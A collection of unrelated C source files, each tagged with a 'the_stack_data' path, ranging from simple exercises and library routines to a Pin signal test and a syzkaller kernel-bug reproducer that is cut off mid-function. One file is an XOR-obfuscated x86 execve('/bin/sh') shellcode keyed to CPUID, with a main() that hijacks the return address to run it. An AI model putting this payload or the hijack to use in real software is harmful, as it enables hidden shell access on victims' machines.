#include <fenv.h> #include <math.h> double trunc (double _x){ double retval; unsigned short saved_cw; unsigned short tmp_cw; __asm__ ("fnstcw %0;" : "=m" (saved_cw)); /* save FPU control word */ tmp_cw = (saved_cw & ~(FE_TONEAREST | FE_DOWNWARD | FE_UPWARD | FE_TOWARDZERO)) | FE_TOWARDZERO; __asm__ ("fldcw %0;" : : "m" (tmp_cw)); __asm__ ("frndint;" : "=t" (retval) : "0" (_x)); /* round towards zero */ __asm__ ("fldcw %0;" : : "m" (saved_cw) ); /* restore saved control word */ return retval; }
the_stack_data/90761944.c
#include <sys/types.h> #include <sys/stat.h> #include <time.h> #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { struct stat sb; if (argc != 2) { fprintf(stderr, "Usage: %s <pathname>\n", argv[0]); exit(EXIT_FAILURE); } if (lstat(argv[1], &sb) == -1) { perror("lstat"); exit(EXIT_FAILURE); } printf("File type: "); switch (sb.st_mode & S_IFMT) { case S_IFBLK: printf("block device\n"); break; case S_IFCHR: printf("character device\n"); break; case S_IFDIR: printf("directory\n"); break; case S_IFIFO: printf("FIFO/pipe\n"); break; case S_IFLNK: printf("symlink\n"); break; case S_IFREG: printf("regular file\n"); break; case S_IFSOCK: printf("socket\n"); break; default: printf("unknown?\n"); break; } printf("I-node number: %ld\n", (long) sb.st_ino); printf("Mode: %lo (octal)\n", (unsigned long) sb.st_mode); printf("Link count: %ld\n", (long) sb.st_nlink); printf("Ownership: UID=%ld GID=%ld\n", (long) sb.st_uid, (long) sb.st_gid); printf("Preferred I/O block size: %ld bytes\n", (long) sb.st_blksize); printf("File size: %lld bytes\n", (long long) sb.st_size); printf("Blocks allocated: %lld\n", (long long) sb.st_blocks); printf("Last status change: %s", ctime(&sb.st_ctime)); printf("Last file access: %s", ctime(&sb.st_atime)); printf("Last file modification: %s", ctime(&sb.st_mtime)); exit(EXIT_SUCCESS); }
the_stack_data/189418.c
/* * sim-errno.c -- return address of errno for current thread. * * Copyright (c) 1995 Cygnus Support * * The authors hereby grant permission to use, copy, modify, distribute, * and license this software and its documentation for any purpose, provided * that existing copyright notices are retained in all copies and that this * notice is included verbatim in any distributions. No written agreement, * license, or royalty fee is required for any of the authorized uses. * Modifications to this software may be copyrighted by their authors * and need not follow the licensing terms described here, provided that * the new terms are clearly indicated on the first page of each file where * they apply. */ int errno; int * __errno () { return &errno; }
the_stack_data/686313.c
#include <stdio.h> #include <ctype.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <getopt.h> #include <time.h> #include <sys/time.h> extern void dbg_time (const char *fmt, ...); int sahara_main(const char *firehose_dir); int firehose_main (const char *firehose_dir); int qusb_find_ec20(int *idVendor, int *idProduct, int *interfaceNum); #define error_return() do {dbg_time("%s %s %d fail\n", __FILE__, __func__, __LINE__); return __LINE__; } while(0) #if 1 int firehose_main_entry(int argc, char* argv[]){ #else int main(int argc, char *argv[]) { #endif int opt; int retval; char *firehose_dir = NULL; int idVendor = 0, idProduct = 0, interfaceNum = 0; optind = 1; while ( -1 != (opt = getopt(argc, argv, "f:"))) { switch (opt) { case 'f': firehose_dir = strdup(optarg); break; default: break; } } if (firehose_dir == NULL) error_return(); if (access(firehose_dir, R_OK)) error_return(); opt = strlen(firehose_dir); if (firehose_dir[opt-1] == '/') { firehose_dir[opt-1] = '\0'; } qusb_find_ec20(&idVendor, &idProduct, &interfaceNum); if (idVendor != 0x05c6 || idProduct != 0x9008 || interfaceNum != 1) { error_return(); } retval = sahara_main(firehose_dir); if (!retval) retval = firehose_main(firehose_dir); return retval; }
the_stack_data/47021.c
#include <stdio.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char *argv[], char *envp[]) { pid_t pid; if (argc != 2) { printf("usage: %s dirname\n",argv[0]); exit(1); } pid=fork(); if (pid > 0) printf("My child is going to execute command\"ls -laR %s\"\n", argv[1]); else if (pid == 0){ execl("/bin/ls","/bin/ls","-laR",argv[1],NULL); printf("Command not executed !\n"); exit(1); } exit(0); }
the_stack_data/187642506.c
#include <stdio.h> #include <stdint.h> #include <stdarg.h> //typedef struct collection_t //{ // uint8_t chars[4]; //} collection_t; typedef union convert_t { uint8_t chars[4]; int value_int; } convert_t; int main() { convert_t char2int; convert_t *p = &char2int; p->chars[0] = 'A'; p->chars[1] = 0; p->chars[2] = 0; p->chars[3] = 0; printf("Integer value = %d\n", p->value_int); return 0; }
the_stack_data/60767.c
/* * Get list interfaces which are up. getifaddrs() returns list of addresses * rather than interfaces. * * This works on Linux, BSD. * * Vladimir Kotal, 2015 */ #include <stdio.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netdb.h> #include <ifaddrs.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <sys/ioctl.h> #include <net/if.h> int main(int argc, char *argv[]) { struct ifaddrs *ifaddr, *ifa; int family, s, n; char host[NI_MAXHOST]; if (getifaddrs(&ifaddr) == -1) err(1, "getifaddrs() failed"); for (ifa = ifaddr, n = 0; ifa != NULL; ifa = ifa->ifa_next, n++) { if (ifa->ifa_addr == NULL) continue; if (ifa->ifa_flags & IFF_UP == 0) continue; printf("%s\n", ifa->ifa_name); } freeifaddrs(ifaddr); return (0); }
the_stack_data/125281.c
// // Created by Derick Alangi on 5/31/21. // /* Checks numbers for repeated digits */ #include <stdbool.h> /* C99 only */ #include <stdio.h> int main(void) { bool digit_seen[10] = {false}; int digit; long n; printf("Enter a number: "); scanf("%ld", &n); while (n > 0) { digit = n % 10; if (digit_seen[digit]) break; digit_seen[digit] = true; n /= 10; } if (n > 0) printf("Repeated digit\n"); else printf("No repeated digit\n"); return 0; }
the_stack_data/51700635.c
#include<stdio.h> #include<stdlib.h> struct node { int data; struct node *next; }*first = NULL, *second=NULL, *third=NULL; void CreateLL1(int A[], int n){ struct node *new_node, *last; first = (struct node *)malloc(sizeof(struct node)); first->data = A[0]; first->next = NULL; last = first; for (int i = 1; i < n; i++){ new_node = (struct node *)malloc(sizeof(struct node)); new_node->data = A[i]; new_node->next = NULL; last->next = new_node; last = new_node; } } void CreateLL2(int B[], int n){ struct node *new_node, *last; second = (struct node *)malloc(sizeof(struct node)); second->data = B[0]; second->next = NULL; last = second; for (int i = 1; i < n; i++){ new_node = (struct node *)malloc(sizeof(struct node)); new_node->data = B[i]; new_node->next = NULL; last->next = new_node; last = new_node; } } void DisplayLL(struct node *ptr){ //display the linked list while(ptr){ printf("%d\t", ptr->data); ptr = ptr->next; } } void Concatenate(struct node *p, struct node *q){ third = p; while(p->next){ p = p->next; } p->next = q; q = NULL; } int main(){ int a[] = {7, 6, 5, 9, 1}; int b[] = {0, 6, 4, 3, 8, 10}; int num1 = sizeof(a) / sizeof(a[0]); int num2 = sizeof(b) / sizeof(b[0]); CreateLL1(a, num1); CreateLL2(b, num2); Concatenate(first, second); DisplayLL(third); return 0; }
the_stack_data/162643281.c
#include <string.h> #include <stdio.h> static void count_and_print(FILE * f) { unsigned long long counts[256] = { 0 }; #define MYBUFFSIZE (64 * 1024) unsigned char buff[MYBUFFSIZE]; long long sum; int readc, i; long long newlines; sum = 0; while(1) { readc = (int)fread(buff, 1, MYBUFFSIZE, f); if(readc == 0) break; unsigned char * b = buff; for(i = 0; i < readc; ++i) ++counts[buff[i]]; } /* while 1 */ for(i = 0; i < 256; ++i) { sum += counts[i]; if(counts[i] != 0) printf("%3d) %lld\n", i, (long long)counts[i]); } } int main(int argc, char ** argv) { if(argc < 2) { fprintf(stderr, "Usage: %s filename...\n", argv[0]); return 1; } for(int i = 1; i < argc; ++i) { const char * fname = argv[1]; FILE * f = fopen(fname, "rb"); if(!f) { fprintf(stderr, "Failed to open '%s'\n", fname); continue; } printf("Counts for '%s':\n", fname); count_and_print(f); fclose(f); } return 0; }
the_stack_data/64199774.c
/* * (linux/x86) execve("/bin/sh", ["/bin/sh"], NULL) / xor'ed against Intel x86 CPUID - 41 bytes * * The idea behind this shellcode is to use a *weak* pre-shared secret between the attacker and * the attacked machine. So if a 3rd party side would try to run this shellcode and would produce * a different CPUID output (e.g. different arch) the shellcode won't work. In addition this also * prevents from having the '/bin/sh' string visible on the wire. * * The shellcode key is (0x6c65746e, 'letn') and expected to be in %ecx register after CPUID * * - Itzik Kotler <[email protected]> */ char shellcode[] = "\x31\xc0" // xor %eax,%eax "\x0f\xa2" // cpuid "\x51" // push %ecx "\x68\xe7\x95\xa8\xec" // push $0xeca895e7 "\x68\xde\x7f\x37\x3f" // push $0x3f377fde "\x68\x07\x1a\xec\x8f" // push $0x8fec1a07 "\x68\x6e\x1c\x4a\x0e" // push $0x0e4a1c6e "\x68\x06\x5b\x16\x04" // push $0x04165b06 // // <_unpack_loop>: // "\x31\x0c\x24" // xor %ecx,(%esp) "\x5a" // pop %edx "\x75\xfa" // jne <_unpack_loop> "\x83\xec\x18" // sub $0x18,%esp "\x54" // push %esp "\xc3"; // ret int main(int argc, char **argv) { int *ret; ret = (int *)&ret + 2; (*ret) = (int) shellcode; }
the_stack_data/73575029.c
#include <stdio.h> #include <stdlib.h> // // Boolean tests // #include <stdio.h> int f() { printf("side-effect\n"); return 0; } struct InnerStruct { int i; char info[10]; }; struct MyStruct { char *head; struct InnerStruct inner; char *tail; }; int main(int argc, char *argv[]) { int i = 0, j = 1, k; struct MyStruct m = { "I have", { 2, "machines"}, "at home"}; struct MyStruct *p = &m; double d = (i > j ? 0.2 : 0.5); printf ("d = %f\n", d); char *s = (i > j ? m.head : m.tail); printf ("s = %s\n", s); k = (i < j ? 0 : j); printf ("k = %i\n", k); k = (i > j ? i : f()); printf ("k = %i\n", k); k = (i <= j ? i == j ? i : i + 1 : j); printf ("k = %i\n", k); k = (i < j) && (i + 1 == j); printf ("k = %i\n", k); k = (i < j) || (k == i); printf ("k = %i\n", k); printf("%s %i %s %s\n", m.head, m.inner.i, m.inner.info, m.tail); printf("%s %i %s %s\n", p -> head, p -> inner.i, p -> inner.info, p -> tail); struct InnerStruct *q = &m.inner; printf("q -> info = %s\n", q -> info); int a = 0; printf("a = %i\n", a); a = !a; printf("!a = %i\n", a); return 0; }
the_stack_data/162642109.c
// This file is part of CPAchecker, // a tool for configurable software verification: // https://cpachecker.sosy-lab.org // // SPDX-FileCopyrightText: 2007-2020 Dirk Beyer <https://www.sosy-lab.org> // // SPDX-License-Identifier: Apache-2.0 int main() { int i = 0; while(i){ int i=5; } int a = 0; return 0; } int func1(){ int i = 6; return i; }
the_stack_data/90763417.c
/* * Copyright (C) 2005-2021 Intel Corporation. * SPDX-License-Identifier: MIT */ /* * This test validates an edge case within Pin. Pin checks for and delivers * any pending asynchronous signals at the end of each trace. However, it * handles any synchronous signals (i.e. faults) immediately. There is a weird * edge case if Pin has a pending asynchronous signal at the time a synchronous * signal is generated. * * In an old version of Pin, there was a bug that caused the application's * signal mask to be set incorrectly in the above case. This test forces the * edge case to occur, and then validates that the signal mask is set correctly. * * Forcing the edge case is a little tricky. The test expects to handle two * signals: a VTALRM (from an i-timer) and a SEGV (by executing an invalid store). * To force the edge case, we want the VTALRM to be delivered while Pin is * executing the basic block that contains the invalid (faulting) store. Obviously, * this is a very small timing window. We use a special Pin tool to open up this * timing window. The Pin tool finds the basic block that contains the faulting * store and inserts a long-running analysis routine at the first instruction of * this basic block. This essentially causes the basic block to run for a very * long time, which makes it much more likely that the VTALRM will be delivered * during that basic block. */ #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <sys/time.h> static void HandleSegv(int); static void HandleAlarm(int); static void CheckMask(); static void MakeSegv(); int main() { struct sigaction sigact; struct itimerval itval; sigact.sa_handler = HandleSegv; sigemptyset(&sigact.sa_mask); sigact.sa_flags = 0; if (sigaction(SIGSEGV, &sigact, 0) == -1) { fprintf(stderr, "Unable handle SEGV\n"); return 1; } if (sigaction(SIGBUS, &sigact, 0) == -1) { fprintf(stderr, "Unable handle SEGV\n"); return 1; } sigact.sa_handler = HandleAlarm; if (sigaction(SIGVTALRM, &sigact, 0) == -1) { fprintf(stderr, "Unable handle VTALRM\n"); return 1; } itval.it_value.tv_sec = 0; itval.it_value.tv_usec = 100000; itval.it_interval.tv_sec = 0; itval.it_interval.tv_usec = 0; if (setitimer(ITIMER_VIRTUAL, &itval, 0) == -1) { fprintf(stderr, "Unable to set up alarm\n"); return 1; } MakeSegv(); return 0; } static void HandleSegv(int sig) { printf("Got SEGV\n"); CheckMask(); exit(0); } static void HandleAlarm(int sig) { printf("Got VTALRM\n"); CheckMask(); } static void CheckMask() { sigset_t mask; int sig; if (sigprocmask(SIG_SETMASK, 0, &mask) == -1) { fprintf(stderr, "Unable to get mask\n"); exit(1); } for (sig = 1; sig < 32; sig++) { if (sigismember(&mask, sig)) { printf("Signal %d blocked\n", sig); if (sig != SIGSEGV && sig != SIGVTALRM && sig != SIGBUS) { fprintf(stderr, "Signal %d unexpectedly blocked\n", sig); exit(1); } } } } static void MakeSegv() { volatile int* p; int i; /* * Make a big basic block, which the Pin tool can find. The Pin tool * inserts an analysis call at the beginning of this block, which stalls * for a long time. We expect that the VTALRM signal will be delivered * to Pin during the analysis call. Pin should keep that signal pending * until the end of this basic block. */ p = &i; *p = 1; *p = 2; *p = 3; *p = 4; *p = 5; *p = 6; *p = 7; *p = 8; *p = 9; /* * The following store must be in the same basic block as the stores above * in order for the test to be valid. * * This store causes a SEGV, thus forcing a synchronous signal to be delivered * while an asynchronous signal (the VTALRM) is pending inside of Pin. */ p = (volatile int*)0x9; i = *p; }
the_stack_data/124109.c
/* * This file is shared between libc and the kernel, so don't put anything * in here that won't work in both contexts. */ #ifdef _KERNEL #include <types.h> #include <lib.h> #else #include <stdlib.h> #include <string.h> #endif /* * Standard C function: parse a string that represents a decimal integer. * Leading whitespace is allowed. Trailing gunk is allowed too. Doesn't * really report syntax errors in any useful way. */ int atoi(const char *s) { static const char digits[] = "0123456789"; /* legal digits in order */ unsigned val=0; /* value we're accumulating */ int neg=0; /* set to true if we see a minus sign */ /* skip whitespace */ while (*s==' ' || *s=='\t') { s++; } /* check for sign */ if (*s=='-') { neg=1; s++; } else if (*s=='+') { s++; } /* process each digit */ while (*s) { const char *where; unsigned digit; /* look for the digit in the list of digits */ where = strchr(digits, *s); if (where==NULL) { /* not found; not a digit, so stop */ break; } /* get the index into the digit list, which is the value */ digit = (where - digits); /* could (should?) check for overflow here */ /* shift the number over and add in the new digit */ val = val*10 + digit; /* look at the next character */ s++; } /* handle negative numbers */ if (neg) { return -val; } /* done */ return val; }
the_stack_data/1235431.c
#include <stdio.h> #include <ctype.h> int main() { char c, inword = 0, ct = 0; while ((c = getchar()) != EOF) { if (isalpha(c) && !inword) inword = 1; else if (!isalpha(c) && inword) ct++, inword = 0; if (c == '\n') { printf("%d\n", ct); ct = 0; } } return 0; }
the_stack_data/89200371.c
#include <stdio.h> int main() { int sorts[100] = {0}; int i = 0, ys, ns; int *p; printf("输入队列人数(<100): "); scanf("%d", &ns); for (p = sorts, i = 1; p < sorts + ns; p++, i++) //各位预置1 *p = i; p = sorts; //指针指向开始的位置 ys = ns; //剩余人数 i = 0; while (ys > 1)//当还有剩余人数时进行循环 { if (*p != -1) { i++; if (i == 6) { *p = -1; //此时判定为被退出游戏 ys--; i = 0; } } p++; if (p > sorts + ns - 1) //当指针再次指向开始位时 p = sorts; } p = sorts; for (p = sorts, i = 1; p < sorts + ns; p++, i++) { if (*p != -1)//当出现最终留在游戏中的人时 { printf("最后留下的是原来的 %d 号\n", i); break; } } printf("\n"); return 0; }
the_stack_data/34513207.c
/* * Author: Leandro Augusto Lacerda Campos <[email protected]> * * Data Structures and Algorithms Specialization, * by University of California, San Diego, * and National Research University Higher School of Economics * * Course 1: Algorithmic Toolbox * * Solution for Organizing a Lottery Problem */ #include <stdlib.h> #include <stdio.h> typedef struct point { long value; unsigned int position; unsigned int segments; } point; typedef struct segment { long left; long right; } segment; int compare_by_value(const point *, const point *); int compare_by_position(const point *, const point *); void sort_by_value(point *, point *); void sort_by_position(point *, point *); int contain(const segment *, const point *); void count(const segment *, const segment *, point *, point *); int main() { unsigned int s; /* number of segments */ unsigned int p; /* number of points */ segment *first_s, *current_s, *last_s; point *first_p, *current_p, *last_p; unsigned int position; scanf("%u", &s); scanf("%u", &p); current_s = first_s = malloc(s * sizeof(segment)); last_s = first_s + s - 1; while (current_s <= last_s) { scanf("%ld", &(current_s->left)); scanf("%ld", &(current_s->right)); current_s++; } current_p = first_p = malloc(p * sizeof(point)); last_p = first_p + p - 1; position = 0; while (current_p <= last_p) { scanf("%ld", &(current_p->value)); current_p->position = position++; current_p++; } sort_by_value(first_p, last_p); count(first_s, last_s, first_p, last_p); sort_by_position(first_p, last_p); current_p = first_p; while (current_p <= last_p) { printf("%u ", current_p->segments); current_p++; } putchar('\n'); free(first_s); free(first_p); return 0; } /* * count: counts how many segments of the sequence *left_s <= ... <= *right_s contains * each point of the sequence *left_p <= ... <= *right_p. */ void count(const segment *left_s, const segment *right_s, point *left_p, point *right_p) { point *p1, *p2; p1 = left_p; while (p1 <= right_p) { p1->segments = 0; p1++; } while (left_s <= right_s) { p1 = bsearch(left_s, left_p, right_p - left_p + 1, sizeof(point), (int (*)(const void *, const void *))contain); if (p1 != NULL) { p1->segments++; p2 = p1; while (--p2 >= left_p) { if (contain(left_s, p2) == 0) p2->segments++; else break; } p2 = p1; while (++p2 <= right_p) { if (contain(left_s, p2) == 0) p2->segments++; else break; } } left_s++; } } /* * contain: checks if segment *s contains the point *p. */ int contain(const segment *s, const point *p) { if (p->value < s->left) return 1; else if (p->value > s->right) return -1; else return 0; } /* * sort_by_value: sorts the sequence *left <= ... <= *right by the value of each point. */ void sort_by_value(point *left, point *right) { qsort(left, right - left + 1, sizeof(point), (int (*)(const void *, const void *))compare_by_value); } /* * sort_by_position: sorts the sequence *left <= ... <= *right by the position of each point. */ void sort_by_position(point *left, point *right) { qsort(left, right - left + 1, sizeof(point), (int (*)(const void *, const void *))compare_by_position); } /* * compare_by_value: compares two points by their values. */ int compare_by_value(const point *p1, const point *p2) { if (p1->value < p2->value) return -1; else if (p1->value == p2->value) return 0; else return 1; } /* * compare_by_position: compares two points by their positions. */ int compare_by_position(const point *p1, const point *p2) { if (p1->position < p2->position) return -1; else if (p1->position == p2->position) return 0; else return 1; }
the_stack_data/54825966.c
// BUG: soft lockup in __do_softirq // https://syzkaller.appspot.com/bug?id=70cbd1b4257a8631183e // status:0 // autogenerated by syzkaller (https://github.com/google/syzkaller) #define _GNU_SOURCE #include <arpa/inet.h> #include <dirent.h> #include <endian.h> #include <errno.h> #include <fcntl.h> #include <net/if.h> #include <net/if_arp.h> #include <netinet/in.h> #include <pthread.h> #include <sched.h> #include <setjmp.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stddef.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/epoll.h> #include <sys/ioctl.h> #include <sys/mount.h> #include <sys/prctl.h> #include <sys/resource.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/time.h> #include <sys/types.h> #include <sys/uio.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #include <linux/capability.h> #include <linux/futex.h> #include <linux/genetlink.h> #include <linux/if_addr.h> #include <linux/if_ether.h> #include <linux/if_link.h> #include <linux/if_tun.h> #include <linux/in6.h> #include <linux/ip.h> #include <linux/kvm.h> #include <linux/neighbour.h> #include <linux/net.h> #include <linux/netlink.h> #include <linux/rfkill.h> #include <linux/rtnetlink.h> #include <linux/tcp.h> #include <linux/veth.h> static unsigned long long procid; static __thread int skip_segv; static __thread jmp_buf segv_env; static void segv_handler(int sig, siginfo_t* info, void* ctx) { uintptr_t addr = (uintptr_t)info->si_addr; const uintptr_t prog_start = 1 << 20; const uintptr_t prog_end = 100 << 20; int skip = __atomic_load_n(&skip_segv, __ATOMIC_RELAXED) != 0; int valid = addr < prog_start || addr > prog_end; if (skip && valid) { _longjmp(segv_env, 1); } exit(sig); } static void install_segv_handler(void) { struct sigaction sa; memset(&sa, 0, sizeof(sa)); sa.sa_handler = SIG_IGN; syscall(SYS_rt_sigaction, 0x20, &sa, NULL, 8); syscall(SYS_rt_sigaction, 0x21, &sa, NULL, 8); memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = segv_handler; sa.sa_flags = SA_NODEFER | SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGBUS, &sa, NULL); } #define NONFAILING(...) \ ({ \ int ok = 1; \ __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST); \ if (_setjmp(segv_env) == 0) { \ __VA_ARGS__; \ } else \ ok = 0; \ __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST); \ ok; \ }) static void sleep_ms(uint64_t ms) { usleep(ms * 1000); } static uint64_t current_time_ms(void) { struct timespec ts; if (clock_gettime(CLOCK_MONOTONIC, &ts)) exit(1); return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000; } static void use_temporary_dir(void) { char tmpdir_template[] = "./syzkaller.XXXXXX"; char* tmpdir = mkdtemp(tmpdir_template); if (!tmpdir) exit(1); if (chmod(tmpdir, 0777)) exit(1); if (chdir(tmpdir)) exit(1); } static void thread_start(void* (*fn)(void*), void* arg) { pthread_t th; pthread_attr_t attr; pthread_attr_init(&attr); pthread_attr_setstacksize(&attr, 128 << 10); int i = 0; for (; i < 100; i++) { if (pthread_create(&th, &attr, fn, arg) == 0) { pthread_attr_destroy(&attr); return; } if (errno == EAGAIN) { usleep(50); continue; } break; } exit(1); } #define BITMASK(bf_off, bf_len) (((1ull << (bf_len)) - 1) << (bf_off)) #define STORE_BY_BITMASK(type, htobe, addr, val, bf_off, bf_len) \ *(type*)(addr) = \ htobe((htobe(*(type*)(addr)) & ~BITMASK((bf_off), (bf_len))) | \ (((type)(val) << (bf_off)) & BITMASK((bf_off), (bf_len)))) typedef struct { int state; } event_t; static void event_init(event_t* ev) { ev->state = 0; } static void event_reset(event_t* ev) { ev->state = 0; } static void event_set(event_t* ev) { if (ev->state) exit(1); __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE); syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000); } static void event_wait(event_t* ev) { while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0); } static int event_isset(event_t* ev) { return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE); } static int event_timedwait(event_t* ev, uint64_t timeout) { uint64_t start = current_time_ms(); uint64_t now = start; for (;;) { uint64_t remain = timeout - (now - start); struct timespec ts; ts.tv_sec = remain / 1000; ts.tv_nsec = (remain % 1000) * 1000 * 1000; syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts); if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) return 1; now = current_time_ms(); if (now - start > timeout) return 0; } } static bool write_file(const char* file, const char* what, ...) { char buf[1024]; va_list args; va_start(args, what); vsnprintf(buf, sizeof(buf), what, args); va_end(args); buf[sizeof(buf) - 1] = 0; int len = strlen(buf); int fd = open(file, O_WRONLY | O_CLOEXEC); if (fd == -1) return false; if (write(fd, buf, len) != len) { int err = errno; close(fd); errno = err; return false; } close(fd); return true; } struct nlmsg { char* pos; int nesting; struct nlattr* nested[8]; char buf[4096]; }; static void netlink_init(struct nlmsg* nlmsg, int typ, int flags, const void* data, int size) { memset(nlmsg, 0, sizeof(*nlmsg)); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_type = typ; hdr->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK | flags; memcpy(hdr + 1, data, size); nlmsg->pos = (char*)(hdr + 1) + NLMSG_ALIGN(size); } static void netlink_attr(struct nlmsg* nlmsg, int typ, const void* data, int size) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_len = sizeof(*attr) + size; attr->nla_type = typ; if (size > 0) memcpy(attr + 1, data, size); nlmsg->pos += NLMSG_ALIGN(attr->nla_len); } static void netlink_nest(struct nlmsg* nlmsg, int typ) { struct nlattr* attr = (struct nlattr*)nlmsg->pos; attr->nla_type = typ; nlmsg->pos += sizeof(*attr); nlmsg->nested[nlmsg->nesting++] = attr; } static void netlink_done(struct nlmsg* nlmsg) { struct nlattr* attr = nlmsg->nested[--nlmsg->nesting]; attr->nla_len = nlmsg->pos - (char*)attr; } static int netlink_send_ext(struct nlmsg* nlmsg, int sock, uint16_t reply_type, int* reply_len, bool dofail) { if (nlmsg->pos > nlmsg->buf + sizeof(nlmsg->buf) || nlmsg->nesting) exit(1); struct nlmsghdr* hdr = (struct nlmsghdr*)nlmsg->buf; hdr->nlmsg_len = nlmsg->pos - nlmsg->buf; struct sockaddr_nl addr; memset(&addr, 0, sizeof(addr)); addr.nl_family = AF_NETLINK; ssize_t n = sendto(sock, nlmsg->buf, hdr->nlmsg_len, 0, (struct sockaddr*)&addr, sizeof(addr)); if (n != (ssize_t)hdr->nlmsg_len) { if (dofail) exit(1); return -1; } n = recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); if (reply_len) *reply_len = 0; if (n < 0) { if (dofail) exit(1); return -1; } if (n < (ssize_t)sizeof(struct nlmsghdr)) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type == NLMSG_DONE) return 0; if (reply_len && hdr->nlmsg_type == reply_type) { *reply_len = n; return 0; } if (n < (ssize_t)(sizeof(struct nlmsghdr) + sizeof(struct nlmsgerr))) { errno = EINVAL; if (dofail) exit(1); return -1; } if (hdr->nlmsg_type != NLMSG_ERROR) { errno = EINVAL; if (dofail) exit(1); return -1; } errno = -((struct nlmsgerr*)(hdr + 1))->error; return -errno; } static int netlink_send(struct nlmsg* nlmsg, int sock) { return netlink_send_ext(nlmsg, sock, 0, NULL, true); } static int netlink_query_family_id(struct nlmsg* nlmsg, int sock, const char* family_name, bool dofail) { struct genlmsghdr genlhdr; memset(&genlhdr, 0, sizeof(genlhdr)); genlhdr.cmd = CTRL_CMD_GETFAMILY; netlink_init(nlmsg, GENL_ID_CTRL, 0, &genlhdr, sizeof(genlhdr)); netlink_attr(nlmsg, CTRL_ATTR_FAMILY_NAME, family_name, strnlen(family_name, GENL_NAMSIZ - 1) + 1); int n = 0; int err = netlink_send_ext(nlmsg, sock, GENL_ID_CTRL, &n, dofail); if (err < 0) { return -1; } uint16_t id = 0; struct nlattr* attr = (struct nlattr*)(nlmsg->buf + NLMSG_HDRLEN + NLMSG_ALIGN(sizeof(genlhdr))); for (; (char*)attr < nlmsg->buf + n; attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) { if (attr->nla_type == CTRL_ATTR_FAMILY_ID) { id = *(uint16_t*)(attr + 1); break; } } if (!id) { errno = EINVAL; return -1; } recv(sock, nlmsg->buf, sizeof(nlmsg->buf), 0); return id; } static int netlink_next_msg(struct nlmsg* nlmsg, unsigned int offset, unsigned int total_len) { struct nlmsghdr* hdr = (struct nlmsghdr*)(nlmsg->buf + offset); if (offset == total_len || offset + hdr->nlmsg_len > total_len) return -1; return hdr->nlmsg_len; } static void netlink_add_device_impl(struct nlmsg* nlmsg, const char* type, const char* name) { struct ifinfomsg hdr; memset(&hdr, 0, sizeof(hdr)); netlink_init(nlmsg, RTM_NEWLINK, NLM_F_EXCL | NLM_F_CREATE, &hdr, sizeof(hdr)); if (name) netlink_attr(nlmsg, IFLA_IFNAME, name, strlen(name)); netlink_nest(nlmsg, IFLA_LINKINFO); netlink_attr(nlmsg, IFLA_INFO_KIND, type, strlen(type)); } static void netlink_add_device(struct nlmsg* nlmsg, int sock, const char* type, const char* name) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_veth(struct nlmsg* nlmsg, int sock, const char* name, const char* peer) { netlink_add_device_impl(nlmsg, "veth", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_nest(nlmsg, VETH_INFO_PEER); nlmsg->pos += sizeof(struct ifinfomsg); netlink_attr(nlmsg, IFLA_IFNAME, peer, strlen(peer)); netlink_done(nlmsg); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_hsr(struct nlmsg* nlmsg, int sock, const char* name, const char* slave1, const char* slave2) { netlink_add_device_impl(nlmsg, "hsr", name); netlink_nest(nlmsg, IFLA_INFO_DATA); int ifindex1 = if_nametoindex(slave1); netlink_attr(nlmsg, IFLA_HSR_SLAVE1, &ifindex1, sizeof(ifindex1)); int ifindex2 = if_nametoindex(slave2); netlink_attr(nlmsg, IFLA_HSR_SLAVE2, &ifindex2, sizeof(ifindex2)); netlink_done(nlmsg); netlink_done(nlmsg); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_linked(struct nlmsg* nlmsg, int sock, const char* type, const char* name, const char* link) { netlink_add_device_impl(nlmsg, type, name); netlink_done(nlmsg); int ifindex = if_nametoindex(link); netlink_attr(nlmsg, IFLA_LINK, &ifindex, sizeof(ifindex)); int err = netlink_send(nlmsg, sock); if (err < 0) { } } static void netlink_add_vlan(struct nlmsg* nlmsg, int sock, const char* name, const char* link, uint16_t id, uint16_t proto) { netlink_add_device_impl(nlmsg, "vlan", name); netlink_nest(nlmsg, IFLA_INFO_DATA); netlink_attr(nlmsg, IFLA_VLAN_ID, &id, sizeof(id)); netlink_attr(nlmsg, IFLA_VLAN_PROTOCOL, &proto, sizeof(proto)); netlink_done(nlmsg); netlink_done(nlmsg); int ifindex = if_nametoindex(link); 